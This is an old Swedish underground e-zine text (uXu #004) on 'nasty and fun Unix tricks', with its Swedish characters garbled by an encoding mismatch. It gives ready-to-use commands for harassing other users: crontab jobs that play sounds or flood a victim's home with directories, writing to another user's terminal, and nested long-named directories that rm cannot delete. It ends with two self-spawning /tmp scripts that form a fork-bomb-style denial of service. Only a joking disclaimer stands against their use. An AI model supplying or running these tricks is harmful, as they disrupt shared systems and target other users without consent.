### ### ### ### ### #### ### ### ### #### ### ### ##### ### ### ### ### ### ### ### ### ### ##### ### ### ########## ### ### ########## ### ### ### ### Underground eXperts United Presenterar... Intressant Svenskt Stoff [#004- Elaka och Roliga Trix i Unix ] _____________________________________________________________________ ---------------------------------- Elaka och Roliga Trix i Unix ---------------------------------- Den hÑr texten Ñr enbart till fîr nîjets skull, och jag uppmanar ingen att anvÑnda nÜgra av de trix som finns beskrivna, men visst kan det vara skoj med ett aprilskÑmt dÜ och dÜ? :-) Obs! Texten Ñr menad till personer som inte Ñr sÜ hemma med UNIX, men ÑndÜ skulle vilja lÑra sig nÜgra roliga trix att ta till ibland. OK. Fîr att bîrja med nÜgra simpla saker som har med crontab'en att gîra.. (Fîr er som inte ens vet vad en crontab Ñr, men ÑndÜ Ñr i desperat behov av att skaffa en, skriv ett brev till mig pÜ te.x The Stash sÜ ska jag fîrklara vad det Ñr. Om du inte vill skriva ett brev till mig kan du ju alltid ta och slÜ upp crontab i fîrsta bÑsta UNIX-Manual.) Om ni pÜ jobbet/skolan te.x kîr pÜ en Sparc och har mîjlighet att spela upp en sampling eller liknande, gîr en crontab som spelar upp samplingen te.x var 10'nde minut eller liknande. Alltid irriterande fîr den som sitter vid datorn. LÑmplig sampling kan te.x vara ett hundskall. Om du pÜ nÜt sÑtt lyckats fÜ chansen att anvÑnda en anvÑndare som du inte alls tycker om eller vill spela ett spratt och som inte Ñr sÜ bekant med UNIX, gîr en crontab Üt honom som endast gîr ett directory i hans home te.x var 10'nde minut. Jag kan garantera att det kommer att bli jobbigt fîr honom/henne att radera alla diretorys vid varje inloggning.. --- Om du vill stîra user'n kalle sÜ kan du skriva in fîljande rad: $write kalle /dev/kalles_tty Om du inte vill att kalle ska se att det Ñr du som skickar filen genom ps kommandot kan du skriva: $cat /dev/kalles_tty (DÜ visas bara cat pÜ ps-listan) En variant pÜ det temat Ñr att skriva ett brev till kalle, innehÜllande /bin/sh. Detta kan ordnas genom att skriva fîljande: $mail -sEtt_subjekt kalle -Haha.. Filen kan dock raderas genom att skriva: $rm ./-Haha.. .. men det kan du ju îverlÜta Üt den utsatte att lista ut :) .. --- Om du vill vara steget elakare kan du (om du fÜr skriva till ngn annans home) skapa directorys unde varandra med lÜÜÜÜÜÜnga namn. (Risken finns dock att shellen krashar pga att filnamnet blir fîr lÜngt :) NÑr sedan stackars kalle, eller vem du nu har valt, ska radera alla de fina directorys som du har gjort kommer ngt i denna vÑgen att intrÑffa: $rm -r ditt_fina_directory_som_har_ett_vÑldigt_lÜngt_namn rm: filename too long: ditt_fina_directory_som_har_ett_vÑldigt_lÜngt_namn/ditt_fina_directory _som_har_ett_vÑldigt_lÜngt_namn/ditt_fina_directory_som_har_ett_vÑldigt_lÜ ngt_namn/ditt_fina_directory_som_har_ett_vÑldigt_lÜngt_namn/ditt_fina_dire ctory_som_har_ett_vÑldigt_lÜngt_namn/ditt_fina_directory_som_har_ett_vÑldig ditt_fina_directory_som_har_ett_vÑldigt_lÜngt_namn/t_lÜngt_namn/ditt_fina_ directory_som_har_ett_vÑldigt_lÜngt_namn/ditt_fina_directory_som_har_ett_v Ñldigt_lÜngt_namn/ditt_fina_directory_som_har_ett_vÑldigt_lÜngt_namn $ Det som intrÑffar Ñr helt enkelt att rm's buffer inte rymmer pathen till directoryt, och dÑrfîr heller ej kan radera det... Fîr att ta bort denna typen av directorys mÜste man fîrst cd'a sig en bit ner och sedan radera 'nerifrÜn och upp' --- Om du vill gîra dator'n lite svÜranvÑndlig, skriv dÜ in fîljande program: Namn: /tmp/prog1 ----START----START----START----START----START----START----START---- /tmp/prog2 & ps -alx >/dev/null & /tmp/prog1 ----SLUT----SLUT----SLUT----SLUT----SLUT----SLUT----SLUT----SLUT----- Namn: /tmp/prog2 ----START----START----START----START----START----START----START---- /tmp/prog1 & ps -alx >/dev/null & /tmp/prog2 ----SLUT----SLUT----SLUT----SLUT----SLUT----SLUT----SLUT----SLUT----- Skriv sedan in fîljande: $chmod 777 /tmp/prog1 $chmod 777 /tmp/prog2 $/tmp/prog1 & OK.. Du har nu nÜtt slutet av denna "eminanta" text, som inte gav sÜ mycket. Kom bara ihÜg att inte anvÑnda nÜgon av dessa smÜ saker, om du nu inte har managern's tillstÜnd. Starta speciellt inte de sista programmen, eftersom det kommer att fîrsvÜra fîr andra att logga in, och fîrsvÜra fîr de som redan Ñr pÜloggade att gîra nÜgonting... I fortsÑttningen kanske jag skriver nÜt om hur man 'îkar sin access' pÜ UNIX. Visst vet jag att det finns massor av texter med det temat, men hur mÜnga av dem Ñr pÜ svenska? ______________________________________________________________________________ uXu Av Rubicon uXu ______________________________________________________________________________